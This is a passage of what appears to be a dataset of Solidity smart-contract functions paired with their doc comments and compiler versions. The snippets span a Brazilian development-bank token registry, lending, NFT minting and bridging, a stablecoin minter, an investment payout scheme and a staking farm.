getBlockchainAccount(cnpj,0);\r\n require (isAvailableAccount(account), \"Fornecedor j\u00e1 est\u00e1 associado a outro endere\u00e7o. Use a fun\u00e7\u00e3o Troca.\");\r\n }\r\n \r\n cnpjFSAddr[cnpj][idFinancialSupportAgreement] = addr;\r\n\r\n emit AccountRegistration(addr, cnpj, idFinancialSupportAgreement, salic, idProofHash);\r\n }", "version": "0.5.0"} {"comment": "/**\r\n * Changes the original link between CNPJ and Ethereum account. \r\n * The new link still needs to be validated by BNDES.\r\n * This method can only be called by BNDESToken contract because BNDESToken can pause and because there are \r\n * additional instructions there.\r\n * @param cnpj Brazilian identifier to legal entities\r\n * @param idFinancialSupportAgreement contract number of financial contract with BNDES. It assumes 0 if it is a supplier.\r\n * @param salic contract number of financial contract with ANCINE. It assumes 0 if it is a supplier.\r\n * @param newAddr the new address to be associated with the legal entity\r\n * @param idProofHash The legal entities have to send BNDES a PDF where it assumes as responsible for an Ethereum account. \r\n * This PDF is signed with eCNPJ and send to BNDES. \r\n */", "function_code": "function changeAccountLegalEntity(uint64 cnpj, uint64 idFinancialSupportAgreement, uint32 salic, \r\n address newAddr, string memory idProofHash) onlyTokenAddress public {\r\n\r\n address oldAddr = getBlockchainAccount(cnpj, idFinancialSupportAgreement);\r\n \r\n // Tem que haver um endere\u00e7o associado a esse cnpj/subcr\u00e9dito\r\n require(!isReservedAccount(oldAddr), \"N\u00e3o pode trocar endere\u00e7o de conta reservada\");\r\n\r\n require(!isAvailableAccount(oldAddr), \"Tem que haver um endere\u00e7o associado a esse cnpj/subcr\u00e9dito\");\r\n\r\n require(isAvailableAccount(newAddr), \"Novo endere\u00e7o n\u00e3o est\u00e1 dispon\u00edvel\");\r\n\r\n require (isChangeAccountEnabled(oldAddr), \"A conta atual n\u00e3o est\u00e1 habilitada para troca\");\r\n\r\n require (isValidHash(idProofHash), \"O hash da declara\u00e7\u00e3o \u00e9 inv\u00e1lido\"); \r\n\r\n require(legalEntitiesInfo[oldAddr].cnpj==cnpj \r\n && legalEntitiesInfo[oldAddr].idFinancialSupportAgreement ==idFinancialSupportAgreement, \r\n \"Dados inconsistentes de cnpj ou subcr\u00e9dito\");\r\n\r\n // Aponta o novo endere\u00e7o para o novo LegalEntityInfo\r\n legalEntitiesInfo[newAddr] = LegalEntityInfo(cnpj, idFinancialSupportAgreement, salic, idProofHash, BlockchainAccountState.WAITING_VALIDATION);\r\n\r\n // Apaga o mapping do endere\u00e7o antigo\r\n legalEntitiesInfo[oldAddr].state = BlockchainAccountState.INVALIDATED_BY_CHANGE;\r\n\r\n // Aponta mapping CNPJ e Subcredito para newAddr\r\n cnpjFSAddr[cnpj][idFinancialSupportAgreement] = newAddr;\r\n\r\n emit AccountChange(oldAddr, newAddr, cnpj, idFinancialSupportAgreement, salic, idProofHash); \r\n\r\n }", "version": "0.5.0"} {"comment": "/**\r\n * Validates the initial registry of a legal entity or the change of its registry\r\n * @param addr Ethereum address that needs to be validated\r\n * @param idProofHash The legal entities have to send BNDES a PDF where it assumes as responsible for an Ethereum account. \r\n * This PDF is signed with eCNPJ and send to BNDES. \r\n */", "function_code": "function validateRegistryLegalEntity(address addr, string memory idProofHash) public {\r\n\r\n require(isResponsibleForRegistryValidation(msg.sender), \"Somente o respons\u00e1vel pela valida\u00e7\u00e3o pode validar contas\");\r\n\r\n require(legalEntitiesInfo[addr].state == BlockchainAccountState.WAITING_VALIDATION, \"A conta precisa estar no estado Aguardando Valida\u00e7\u00e3o\");\r\n\r\n require(keccak256(abi.encodePacked(legalEntitiesInfo[addr].idProofHash)) == keccak256(abi.encodePacked(idProofHash)), \"O hash recebido \u00e9 diferente do esperado\");\r\n\r\n legalEntitiesInfo[addr].state = BlockchainAccountState.VALIDATED;\r\n\r\n emit AccountValidation(addr, legalEntitiesInfo[addr].cnpj, \r\n legalEntitiesInfo[addr].idFinancialSupportAgreement,\r\n legalEntitiesInfo[addr].salic);\r\n }", "version": "0.5.0"} {"comment": "/**\r\n * The transfer funcion follows ERC20 token signature. \r\n * Using them, it is possible to disburse money to the client, transfer from client to supplier and redeem.\r\n * @param to the Ethereum address to where the money should be sent\r\n * @param value how much BNDESToken the supplier wants to redeem\r\n */", "function_code": "function transfer (address to, uint256 value) public whenNotPaused returns (bool) {\r\n\r\n address from = msg.sender;\r\n\r\n require(from != to, \"N\u00e3o pode transferir token para si mesmo\");\r\n\r\n if (registry.isResponsibleForDisbursement(from)) {\r\n\r\n require(registry.isValidatedClient(to), \"O endere\u00e7o n\u00e3o pertence a um cliente ou n\u00e3o est\u00e1 validada\");\r\n\r\n _mint(to, value);\r\n\r\n emit BNDESTokenDisbursement(registry.getCNPJ(to), registry.getIdLegalFinancialAgreement(to), value);\r\n\r\n } else { \r\n\r\n if (registry.isRedemptionAddress(to)) { \r\n\r\n require(registry.isValidatedSupplier(from), \"A conta do endere\u00e7o n\u00e3o pertence a um fornecedor ou n\u00e3o est\u00e1 validada\");\r\n\r\n _burn(from, value);\r\n\r\n emit BNDESTokenRedemption(registry.getCNPJ(from), value);\r\n\r\n } else {\r\n\r\n // Se nem from nem to s\u00e3o o Banco, eh transferencia normal\r\n\r\n require(registry.isValidatedClient(from), \"O endere\u00e7o n\u00e3o pertence a um cliente ou n\u00e3o est\u00e1 validada\");\r\n require(registry.isValidatedSupplier(to), \"A conta do endere\u00e7o n\u00e3o pertence a um fornecedor ou n\u00e3o est\u00e1 validada\");\r\n\r\n _transfer(msg.sender, to, value);\r\n\r\n emit BNDESTokenTransfer(registry.getCNPJ(from), registry.getIdLegalFinancialAgreement(from), \r\n registry.getCNPJ(to), value);\r\n \r\n }\r\n }\r\n\r\n return true;\r\n }", "version": "0.5.0"} {"comment": "/**\r\n * Using this function, the Responsible for Settlement indicates that he has made the FIAT money transfer.\r\n * @param redemptionTransactionHash hash of the redeem transaction in which the FIAT money settlement occurred.\r\n * @param receiptHash hash that proof the FIAT money transfer\r\n */", "function_code": "function notifyRedemptionSettlement(string memory redemptionTransactionHash, string memory receiptHash) \r\n public whenNotPaused {\r\n require (registry.isResponsibleForSettlement(msg.sender), \"A liquida\u00e7\u00e3o s\u00f3 n\u00e3o pode ser realizada pelo endere\u00e7o que submeteu a transa\u00e7\u00e3o\"); \r\n require (registry.isValidHash(receiptHash), \"O hash do recibo \u00e9 inv\u00e1lido\");\r\n emit BNDESTokenRedemptionSettlement(redemptionTransactionHash, receiptHash);\r\n }", "version": "0.5.0"} {"comment": "/**\r\n * Changes the original link between CNPJ and Ethereum account. \r\n * The new link still needs to be validated by BNDES.\r\n * IMPORTANT: The BNDESTOKENs are transfered from the original to the new Ethereum address \r\n * @param cnpj Brazilian identifier to legal entities\r\n * @param idFinancialSupportAgreement contract number of financial contract with BNDES. It assumes 0 if it is a supplier.\r\n * @param salic contract number of financial contract with ANCINE. It assumes 0 if it is a supplier.\r\n * @param idProofHash The legal entities have to send BNDES a PDF where it assumes as responsible for an Ethereum account. \r\n * This PDF is signed with eCNPJ and send to BNDES. \r\n */", "function_code": "function changeAccountLegalEntity(uint64 cnpj, uint64 idFinancialSupportAgreement, uint32 salic, string memory idProofHash) \r\n public whenNotPaused {\r\n \r\n address oldAddr = registry.getBlockchainAccount(cnpj, idFinancialSupportAgreement);\r\n address newAddr = msg.sender;\r\n \r\n registry.changeAccountLegalEntity(cnpj, idFinancialSupportAgreement, salic, msg.sender, idProofHash);\r\n\r\n // Se h\u00e1 saldo no enderecoAntigo, precisa transferir\r\n if (balanceOf(oldAddr) > 0) {\r\n _transfer(oldAddr, newAddr, balanceOf(oldAddr));\r\n }\r\n\r\n }", "version": "0.5.0"} {"comment": "/**\n * @notice Returns the estimated per-block borrow interest rate for this cToken after some change\n * @return The borrow interest rate per block, scaled by 1e18\n */", "function_code": "function estimateBorrowRatePerBlockAfterChange(uint256 change, bool repay) external view returns (uint256) {\n uint256 cashPriorNew;\n uint256 totalBorrowsNew;\n\n if (repay) {\n cashPriorNew = add_(getCashPrior(), change);\n totalBorrowsNew = sub_(totalBorrows, change);\n } else {\n cashPriorNew = sub_(getCashPrior(), change);\n totalBorrowsNew = add_(totalBorrows, change);\n }\n return interestRateModel.getBorrowRate(cashPriorNew, totalBorrowsNew, totalReserves);\n }", "version": "0.5.17"} {"comment": "/**\n * @notice Sender borrows assets from the protocol to their own address\n * @param borrowAmount The amount of the underlying asset to borrow\n * @param isNative The amount is in native or not\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\n */", "function_code": "function borrowInternal(uint256 borrowAmount, bool isNative) internal nonReentrant returns (uint256) {\n uint256 error = accrueInterest();\n if (error != uint256(Error.NO_ERROR)) {\n // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed\n return fail(Error(error), FailureInfo.BORROW_ACCRUE_INTEREST_FAILED);\n }\n // borrowFresh emits borrow-specific logs on errors, so we don't need to\n return borrowFresh(msg.sender, borrowAmount, isNative);\n }", "version": "0.5.17"} {"comment": "/**\n * @notice Sender repays their own borrow\n * @param repayAmount The amount to repay\n * @param isNative The amount is in native or not\n * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.\n */", "function_code": "function repayBorrowInternal(uint256 repayAmount, bool isNative) internal nonReentrant returns (uint256, uint256) {\n uint256 error = accrueInterest();\n if (error != uint256(Error.NO_ERROR)) {\n // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed\n return (fail(Error(error), FailureInfo.REPAY_BORROW_ACCRUE_INTEREST_FAILED), 0);\n }\n // repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to\n return repayBorrowFresh(msg.sender, msg.sender, repayAmount, isNative);\n }", "version": "0.5.17"} {"comment": "/**\n * @notice The sender liquidates the borrowers collateral.\n * The collateral seized is transferred to the liquidator.\n * @param borrower The borrower of this cToken to be liquidated\n * @param repayAmount The amount of the underlying borrowed asset to repay\n * @param cTokenCollateral The market in which to seize collateral from the borrower\n * @param isNative The amount is in native or not\n * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.\n */", "function_code": "function liquidateBorrowInternal(\n address borrower,\n uint256 repayAmount,\n CTokenInterface cTokenCollateral,\n bool isNative\n ) internal nonReentrant returns (uint256, uint256) {\n uint256 error = accrueInterest();\n if (error != uint256(Error.NO_ERROR)) {\n // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed\n return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED), 0);\n }\n\n error = cTokenCollateral.accrueInterest();\n if (error != uint256(Error.NO_ERROR)) {\n // accrueInterest emits logs on errors, but we still want to log the fact that an attempted liquidation failed\n return (fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED), 0);\n }\n\n // liquidateBorrowFresh emits borrow-specific logs on errors, so we don't need to\n return liquidateBorrowFresh(msg.sender, borrower, repayAmount, cTokenCollateral, isNative);\n }", "version": "0.5.17"} {"comment": "/**\n * @notice Accrues interest and reduces reserves by transferring from msg.sender\n * @param addAmount Amount of addition to reserves\n * @param isNative The amount is in native or not\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\n */", "function_code": "function _addReservesInternal(uint256 addAmount, bool isNative) internal nonReentrant returns (uint256) {\n uint256 error = accrueInterest();\n if (error != uint256(Error.NO_ERROR)) {\n // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted reduce reserves failed.\n return fail(Error(error), FailureInfo.ADD_RESERVES_ACCRUE_INTEREST_FAILED);\n }\n\n // _addReservesFresh emits reserve-addition-specific logs on errors, so we don't need to.\n (error, ) = _addReservesFresh(addAmount, isNative);\n return error;\n }", "version": "0.5.17"} {"comment": "//mint a @param number of NFTs in presale", "function_code": "function presaleMint(uint256 number, uint8 _v, bytes32 _r, bytes32 _s) onlyValidAccess(_v, _r, _s) public payable {\r\n State saleState_ = saleState();\r\n require(saleState_ != State.NoSale, \"Sale in not open yet!\");\r\n require(saleState_ != State.PublicSale, \"Presale has closed, Check out Public Sale!\");\r\n require(numberOfTokensPresale + number <= 750, \"Not enough NFTs left to mint..\");\r\n require(mintsPerAddress[msg.sender] + number <= 5, \"Maximum 5 Mints per Address allowed!\");\r\n require(msg.value >= mintCost(number), \"Not sufficient ETH to mint this amount of NFTs\");\r\n \r\n for (uint256 i = 0; i < number; i++) {\r\n uint256 tid = tokenId();\r\n _safeMint(msg.sender, tid);\r\n mintsPerAddress[msg.sender] += 1;\r\n numberOfTotalTokens += 1;\r\n }\r\n\r\n }", "version": "0.8.7"} {"comment": "//mint a @param number of NFTs in public sale", "function_code": "function publicSaleMint(uint256 number) public payable {\r\n State saleState_ = saleState();\r\n require(saleState_ == State.PublicSale, \"Public Sale in not open yet!\");\r\n require(numberOfTotalTokens + number <= maxTotalTokens - (maxReservedMintsTeam + maxReservedMintsGiveaways - _reservedMintsTeam - _reservedMintsGiveaways), \"Not enough NFTs left to mint..\");\r\n require(number <= 5, \"Maximum 5 Mints per Address allowed!\");\r\n require(msg.value >= mintCost(number), \"Not sufficient ETH to mint this amount of NFTs\");\r\n\r\n\r\n for (uint256 i = 0; i < number; i++) {\r\n uint256 tid = tokenId();\r\n _safeMint(msg.sender, tid);\r\n mintsPerAddress[msg.sender] += 1;\r\n numberOfTotalTokens += 1;\r\n }\r\n }", "version": "0.8.7"} {"comment": "//reserved NFTs for creator", "function_code": "function reservedMintTeam(uint number, address recipient) public onlyOwner {\r\n require(_reservedMintsTeam + number <= maxReservedMintsTeam, \"Not enough Reserved NFTs left to mint..\");\r\n\r\n for (uint i = 0; i < number; i++) {\r\n _safeMint(recipient, tokenId());\r\n mintsPerAddress[recipient] += 1;\r\n numberOfTotalTokens += 1;\r\n _reservedMintsTeam += 1;\r\n } \r\n \r\n }", "version": "0.8.7"} {"comment": "//retrieve all funds recieved from minting", "function_code": "function withdraw() public onlyOwner {\r\n uint256 balance = accountBalance();\r\n require(balance > 0, 'No Funds to withdraw, Balance is 0');\r\n \r\n _withdraw(shareholder5, (balance * 20) / 100);\r\n _withdraw(shareholder4, (balance * 20) / 100);\r\n _withdraw(shareholder3, (balance * 20) / 100);\r\n _withdraw(shareholder2, (balance * 20) / 100);\r\n _withdraw(shareholder1, accountBalance()); //to avoid dust eth, gets a little more than 20%\r\n }", "version": "0.8.7"} {"comment": "//see current state of sale\n//see the current state of the sale", "function_code": "function saleState() public view returns(State){\r\n if (presaleLaunchTime == 0 || paused == true) {\r\n return State.NoSale;\r\n }\r\n else if (publicSaleLaunchTime == 0) {\r\n return State.Presale;\r\n }\r\n else {\r\n return State.PublicSale;\r\n }\r\n }", "version": "0.8.7"} {"comment": "//gets the cost of current mint", "function_code": "function mintCost(uint number) public view returns(uint) {\r\n require(0 < number && number < 6, \"Incorrect Amount!\");\r\n State saleState_ = saleState();\r\n if (saleState_ == State.NoSale || saleState_ == State.Presale) {\r\n if (number == 1) {\r\n return 0.04 ether;\r\n }\r\n else if (number == 2) {\r\n return 0.07 ether;\r\n }\r\n else if (number == 3) {\r\n return 0.1 ether;\r\n }\r\n else if (number == 4) {\r\n return 0.13 ether;\r\n }\r\n else {\r\n return 0.15 ether;\r\n }\r\n\r\n }\r\n else {\r\n if (number == 1) {\r\n return 0.06 ether;\r\n }\r\n else if (number == 2) {\r\n return 0.1 ether;\r\n }\r\n else if (number == 3) {\r\n return 0.16 ether;\r\n }\r\n else if (number == 4) {\r\n return 0.2 ether;\r\n }\r\n else {\r\n return 0.26 ether;\r\n }\r\n }\r\n }", "version": "0.8.7"} {"comment": "//Exclude from draw array", "function_code": "function ExcludeFEA (address _address) private {\r\n for (uint256 j = 0; j < _DrawHolders.length; j++) {\r\n if( _DrawHolders[j] == _address){\r\n _DrawHolders[j] = _DrawHolders[_DrawHolders.length - 1];\r\n _ExistInDrawHolders[_address] = false;\r\n _DrawHolders.pop();\r\n break;\r\n }\r\n }\r\n }", "version": "0.8.7"} {"comment": "//Called when no more ETH is in the contract and everything needs to be manually reset. ", "function_code": "function minter(string _currency, uint128 _Multiplier) { //,uint8 _DecimalPlaces\r\n // CONSTRUCTOR \r\n Currency=_currency;\r\n Multiplier = _Multiplier;\r\n // can't add new contracts here as it gives out of gas messages. Too much code.\r\n }", "version": "0.4.16"} {"comment": "//****************************//\n// Constant functions (Ones that don't write to the blockchain)", "function_code": "function StaticEthAvailable() \r\n\t\t\tconstant \r\n\t\t\treturns (uint128) {\r\n\t\t/** @dev Returns the total amount of eth that can be sent to buy StatiCoins\r\n\t\t * @return amount of Eth\r\n */\r\n\t\treturn StaticEthAvailable(cast(Risk.totalSupply()), cast(this.balance));\r\n }", "version": "0.4.16"} {"comment": "//****************************//\n// Only owner can access the following functions", "function_code": "function setFee(uint128 _newFee) \r\n\t\t\tonlyOwner {\r\n /** @dev Allows the minting fee to be changed, only owner can modify\r\n\t\t * Fee is only charged on coin creation\r\n * @param _newFee Size of new fee\r\n * return nothing \r\n */\r\n mintFee=_newFee;\r\n }", "version": "0.4.16"} {"comment": "//****************************//\t\n// Only Pricer can access the following function", "function_code": "function PriceReturn(uint _TransID,uint128 _Price) \r\n\t\t\tonlyPricer {\r\n\t /** @dev Return function for the Pricer contract only. Controls melting and minting of new coins.\r\n * @param _TransID Tranasction ID issued by the minter.\r\n * @param _Price Quantity of Base currency per ETH delivered by the Pricer contract\r\n * Nothing returned. One of 4 functions is implemented\r\n */\r\n\t Trans memory details=pending[_TransID][0];//Get the details for this transaction. \r\n if(0==_Price||frozen){ //If there is an error in pricing or contract is frozen, use the old price\r\n _Price=lastPrice;\r\n } else {\r\n\t\t\tif(Static.totalSupply()>0 && Risk.totalSupply()>0) {// dont update if there are coins missing\r\n\t\t\t\tlastPrice=_Price; // otherwise update the last price\r\n\t\t\t}\r\n }\r\n\t\t//Mint some new StatiCoins\r\n if(Action.NewStatic==details.action){\r\n ActionNewStatic(details,_TransID, _Price);\r\n }\r\n\t\t//Melt some old StatiCoins\r\n if(Action.RetStatic==details.action){\r\n ActionRetStatic(details,_TransID, _Price);\r\n }\r\n\t\t//Mint some new Riskcoins\r\n if(Action.NewRisk==details.action){\r\n ActionNewRisk(details,_TransID, _Price);\r\n }\r\n\t\t//Melt some old Riskcoins\r\n if(Action.RetRisk==details.action){\r\n ActionRetRisk(details,_TransID, _Price);\r\n }\r\n\t\t//Remove the transaction from the blockchain (saving some gas)\r\n\t\tdelete pending[_TransID];\r\n }", "version": "0.4.16"} {"comment": "/** factory role config nft clone\r\n * \r\n * @param localNFT nft on this chain\r\n * @param destNFT nft on L2\r\n * @param originNFTChainId origin NFT ChainId \r\n * @param destGasLimit L2 gas limit\r\n */", "function_code": "function configNFT(address localNFT, address destNFT, uint256 originNFTChainId, uint32 destGasLimit) external payable onlyRole(NFT_FACTORY_ROLE) {\r\n\r\n uint256 localChainId = getChainID();\r\n\r\n require((originNFTChainId == DEST_CHAINID || originNFTChainId == localChainId), \"ChainId not supported\");\r\n\r\n require(clone[localNFT] == address(0), \"NFT already configured.\");\r\n\r\n uint32 minGasLimit = uint32(oracle.getMinL2Gas());\r\n if (destGasLimit < minGasLimit) {\r\n destGasLimit = minGasLimit;\r\n }\r\n require(destGasLimit * oracle.getDiscount() <= msg.value, string(abi.encodePacked(\"insufficient fee supplied. send at least \", uint2str(destGasLimit * oracle.getDiscount()))));\r\n\r\n clone[localNFT] = destNFT;\r\n\r\n isOrigin[localNFT] = false;\r\n if(localChainId == originNFTChainId){\r\n isOrigin[localNFT] = true;\r\n }\r\n\r\n bytes memory message = abi.encodeWithSelector(\r\n ICrollDomainConfig.configNFT.selector,\r\n localNFT,\r\n destNFT,\r\n originNFTChainId\r\n );\r\n \r\n sendCrossDomainMessageViaChainId(\r\n DEST_CHAINID,\r\n destNFTBridge,\r\n destGasLimit,\r\n message,\r\n msg.value\r\n );\r\n\r\n emit CONFIT_NFT(localNFT, destNFT, originNFTChainId);\r\n }", "version": "0.8.9"} {"comment": "/** deposit nft into L1 deposit\r\n * \r\n * @param localNFT nft on this chain\r\n * @param destTo owns nft on L2\r\n * @param id nft id \r\n * @param nftStandard nft type\r\n * @param destGasLimit L2 gas limit\r\n */", "function_code": "function depositTo(address localNFT, address destTo, uint256 id, nftenum nftStandard, uint32 destGasLimit) external onlyEOA() payable {\r\n \r\n require(clone[localNFT] != address(0), \"NFT not config.\");\r\n\r\n require(isDeposit[localNFT][id] == false, \"Don't redeposit.\");\r\n\r\n uint32 minGasLimit = uint32(oracle.getMinL2Gas());\r\n if (destGasLimit < minGasLimit) {\r\n destGasLimit = minGasLimit;\r\n }\r\n \r\n require(destGasLimit * oracle.getDiscount() <= msg.value, string(abi.encodePacked(\"insufficient fee supplied. send at least \", uint2str(destGasLimit * oracle.getDiscount()))));\r\n \r\n uint256 amount = 0;\r\n \r\n if(nftenum.ERC721 == nftStandard) {\r\n IERC721(localNFT).safeTransferFrom(msg.sender, localNFTDeposit, id);\r\n }\r\n \r\n if(nftenum.ERC1155 == nftStandard) {\r\n amount = IERC1155(localNFT).balanceOf(msg.sender, id);\r\n require(amount == 1, \"Not an NFT token.\");\r\n IERC1155(localNFT).safeTransferFrom(msg.sender, localNFTDeposit, id, amount, \"\");\r\n }\r\n \r\n _depositStatus(localNFT, id, msg.sender, true);\r\n \r\n address destNFT = clone[localNFT];\r\n \r\n _messenger(DEST_CHAINID, destNFT, msg.sender, destTo, id, amount, uint8(nftStandard), destGasLimit);\r\n\r\n emit DEPOSIT_TO(destNFT, msg.sender, destTo, id, amount, uint8(nftStandard));\r\n }", "version": "0.8.9"} {"comment": "/** deposit messenger\r\n * \r\n * @param chainId L2 chainId\r\n * @param destNFT nft on L2\r\n * @param from msg.sender\r\n * @param destTo owns nft on L2\r\n * @param id nft id \r\n * @param amount amount\r\n * @param nftStandard nft type\r\n * @param destGasLimit L2 gas limit\r\n */", "function_code": "function _messenger(uint256 chainId, address destNFT, address from, address destTo, uint256 id, uint256 amount, uint8 nftStandard, uint32 destGasLimit) internal {\r\n\r\n bytes memory message = abi.encodeWithSelector(\r\n ICrollDomain.finalizeDeposit.selector,\r\n destNFT,\r\n from,\r\n destTo,\r\n id,\r\n amount,\r\n nftStandard\r\n );\r\n \r\n sendCrossDomainMessageViaChainId(\r\n chainId,\r\n destNFTBridge,\r\n destGasLimit,\r\n message,\r\n msg.value\r\n );\r\n }", "version": "0.8.9"} {"comment": "/** clone nft\r\n *\r\n * @param _localNFT nft\r\n * @param _destFrom owns nft on l2 \r\n * @param _localTo give to\r\n * @param id nft id\r\n * @param _amount nft amount\r\n * @param nftStandard nft type\r\n */", "function_code": "function finalizeDeposit(address _localNFT, address _destFrom, address _localTo, uint256 id, uint256 _amount, nftenum nftStandard) external onlyFromCrossDomainAccount(destNFTBridge) {\r\n \r\n if(nftenum.ERC721 == nftStandard) {\r\n if(isDeposit[_localNFT][id]){\r\n INFTDeposit(localNFTDeposit).withdrawERC721(_localNFT, _localTo, id);\r\n }else{\r\n if(isOrigin[_localNFT]){\r\n // What happened\r\n emit DEPOSIT_FAILED(_localNFT, _destFrom, _localTo, id, _amount, uint8(nftStandard));\r\n }else{\r\n IStandarERC721(_localNFT).mint(_localTo, id);\r\n }\r\n }\r\n }\r\n\r\n if(nftenum.ERC1155 == nftStandard) {\r\n if(isDeposit[_localNFT][id]){\r\n INFTDeposit(localNFTDeposit).withdrawERC1155(_localNFT, _localTo, id, _amount);\r\n }else{\r\n if(isOrigin[_localNFT]){\r\n // What happened\r\n emit DEPOSIT_FAILED(_localNFT, _destFrom, _localTo, id, _amount, uint8(nftStandard)); \r\n }else{\r\n IStandarERC1155(_localNFT).mint(_localTo, id, _amount, \"\");\r\n }\r\n }\r\n }\r\n \r\n _depositStatus(_localNFT, id, address(0), false);\r\n\r\n emit FINALIZE_DEPOSIT(_localNFT, _destFrom, _localTo, id, _amount, uint8(nftStandard));\r\n }", "version": "0.8.9"} {"comment": "/** hack rollback\r\n * \r\n * @param nftStandard nft type\r\n * @param _localNFT nft\r\n * @param ids tokenid\r\n */", "function_code": "function rollback(nftenum nftStandard, address _localNFT, uint256[] memory ids) public onlyRole(ROLLBACK_ROLE) {\r\n \r\n for( uint256 index; index < ids.length; index++ ){\r\n \r\n uint256 id = ids[index];\r\n\r\n address _depositUser = depositUser[_localNFT][id];\r\n\r\n require(isDeposit[_localNFT][id], \"Not Deposited\");\r\n \r\n require(_depositUser != address(0), \"user can not be zero address.\");\r\n \r\n uint256 amount = 0;\r\n\r\n if(nftenum.ERC721 == nftStandard) {\r\n INFTDeposit(localNFTDeposit).withdrawERC721(_localNFT, _depositUser, id);\r\n }else{\r\n amount = 1;\r\n INFTDeposit(localNFTDeposit).withdrawERC1155(_localNFT, _depositUser, id, amount);\r\n }\r\n \r\n _depositStatus(_localNFT, id, address(0), false);\r\n\r\n emit ROLLBACK(_localNFT, localNFTDeposit, _depositUser, id, amount, uint8(nftStandard));\r\n }\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * Fallback and entrypoint for deposits.\r\n */", "function_code": "function() public payable isHuman {\r\n if (msg.value == 0) {\r\n collectPayoutForAddress(msg.sender);\r\n } else {\r\n uint refId = 1;\r\n address referrer = bytesToAddress(msg.data);\r\n if (investorToDepostIndex[referrer].isExist) {\r\n refId = investorToDepostIndex[referrer].id;\r\n }\r\n deposit(refId);\r\n }\r\n }", "version": "0.4.25"} {"comment": "// Add a new staking token to the pool. Can only be called by the manager.", "function_code": "function add(uint256 _allocPoint, IERC20 _stakingToken, bool _isLP, bool _withUpdate) external {\r\n require(msg.sender == address(manager), \"fund: sender is not manager\");\r\n if (_withUpdate) {\r\n massUpdatePools();\r\n }\r\n uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;\r\n totalAllocPoint = totalAllocPoint.add(_allocPoint);\r\n poolInfo.push(PoolInfo({\r\n stakingToken: _stakingToken,\r\n supply: 0,\r\n allocPoint: _allocPoint,\r\n lastRewardBlock: lastRewardBlock,\r\n accERC20PerShare: 0,\r\n isLP: _isLP\r\n }));\r\n }", "version": "0.7.6"} {"comment": "/**\r\n * Perform the Midnight Run\r\n */", "function_code": "function doMidnightRun() public isHuman {\r\n require(now>nextPrizeTime , \"Not yet\");\r\n\r\n // set the next prize time to the next payout time (MidnightRun)\r\n nextPrizeTime = getNextPayoutTime();\r\n\r\n if (currentPrizeStakeID > 5) {\r\n uint toPay = midnightPrize;\r\n midnightPrize = 0;\r\n\r\n if (toPay > address(this).balance){\r\n toPay = address(this).balance;\r\n }\r\n\r\n uint totalValue = stakeIDToDepositIndex[currentPrizeStakeID].value + stakeIDToDepositIndex[currentPrizeStakeID - 1].value + stakeIDToDepositIndex[currentPrizeStakeID - 2].value + stakeIDToDepositIndex[currentPrizeStakeID - 3].value + stakeIDToDepositIndex[currentPrizeStakeID - 4].value;\r\n\r\n stakeIDToDepositIndex[currentPrizeStakeID].user.transfer(toPay.mul(stakeIDToDepositIndex[currentPrizeStakeID].value).div(totalValue));\r\n emit MidnightRunPayout(stakeIDToDepositIndex[currentPrizeStakeID].user, toPay.mul(stakeIDToDepositIndex[currentPrizeStakeID].value).div(totalValue), totalValue, stakeIDToDepositIndex[currentPrizeStakeID].value, now);\r\n\r\n stakeIDToDepositIndex[currentPrizeStakeID - 1].user.transfer(toPay.mul(stakeIDToDepositIndex[currentPrizeStakeID - 1].value).div(totalValue));\r\n emit MidnightRunPayout(stakeIDToDepositIndex[currentPrizeStakeID - 1].user, toPay.mul(stakeIDToDepositIndex[currentPrizeStakeID - 1].value).div(totalValue), totalValue, stakeIDToDepositIndex[currentPrizeStakeID - 1].value, now);\r\n\r\n stakeIDToDepositIndex[currentPrizeStakeID - 2].user.transfer(toPay.mul(stakeIDToDepositIndex[currentPrizeStakeID - 2].value).div(totalValue));\r\n emit MidnightRunPayout(stakeIDToDepositIndex[currentPrizeStakeID - 2].user, toPay.mul(stakeIDToDepositIndex[currentPrizeStakeID - 2].value).div(totalValue), totalValue, stakeIDToDepositIndex[currentPrizeStakeID - 2].value, now);\r\n\r\n stakeIDToDepositIndex[currentPrizeStakeID - 3].user.transfer(toPay.mul(stakeIDToDepositIndex[currentPrizeStakeID - 3].value).div(totalValue));\r\n emit MidnightRunPayout(stakeIDToDepositIndex[currentPrizeStakeID - 3].user, toPay.mul(stakeIDToDepositIndex[currentPrizeStakeID - 3].value).div(totalValue), totalValue, stakeIDToDepositIndex[currentPrizeStakeID - 3].value, now);\r\n\r\n stakeIDToDepositIndex[currentPrizeStakeID - 4].user.transfer(toPay.mul(stakeIDToDepositIndex[currentPrizeStakeID - 4].value).div(totalValue));\r\n emit MidnightRunPayout(stakeIDToDepositIndex[currentPrizeStakeID - 4].user, toPay.mul(stakeIDToDepositIndex[currentPrizeStakeID - 4].value).div(totalValue), totalValue, stakeIDToDepositIndex[currentPrizeStakeID - 4].value, now);\r\n }\r\n }", "version": "0.4.25"} {"comment": "// move LP tokens from one farm to another. only callable by Manager. \n// tx.origin is user EOA, msg.sender is the Manager.", "function_code": "function move(uint256 _pid) external {\r\n require(msg.sender == address(manager), \"move: sender is not manager\");\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][tx.origin];\r\n updatePool(_pid);\r\n uint256 pendingAmount = user.amount.mul(pool.accERC20PerShare).div(1e36).sub(user.rewardDebt);\r\n erc20Transfer(tx.origin, pendingAmount);\r\n pool.supply = pool.supply.sub(user.amount);\r\n pool.stakingToken.safeTransfer(address(manager), user.amount);\r\n user.amount = 0;\r\n user.rewardDebt = user.amount.mul(pool.accERC20PerShare).div(1e36);\r\n emit Withdraw(msg.sender, _pid);\r\n }", "version": "0.7.6"} {"comment": "// Deposit LP tokens to Farm for ERC20 allocation. \n// can come from manager or user address 